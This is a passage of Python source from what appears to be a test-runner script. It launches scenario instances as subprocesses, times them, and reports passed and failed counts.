popen = subprocess.Popen( ['python', _single, args.configurationFile, scenario, instance], close_fds=True) self._pids.append(popen.pid) result = popen.wait() self._pids.remove(popen.pid) took = time.time() - before self._results.append(dict( scenario=scenario, instance=instance, passed=result == 0, timeTook=took, host='localhost')) self._dumpLiveReport() runner = Runner(args) if args.listOnly: runner.printScenarios() sys.exit(0) if args.parallel: runner.runParallel() else: runner.runSequential() runner.writeReport() if runner.passedCount() < runner.total(): logging.error( "%(failed)d tests Failed. %(passed)d/%(total)d Passed", dict(failed=runner.failedCount(), passed=runner.passedCount(), total=runner.total())) for scenario in runner.failed(): logging.error("Failed scenario: %(scenario)s", dict(scenario=scenario)) sys.exit(1) else: logging.success( "Tests Passed: %(passed)d/%(total)d", dict(passed=runner.passedCount(), total=runner.total()))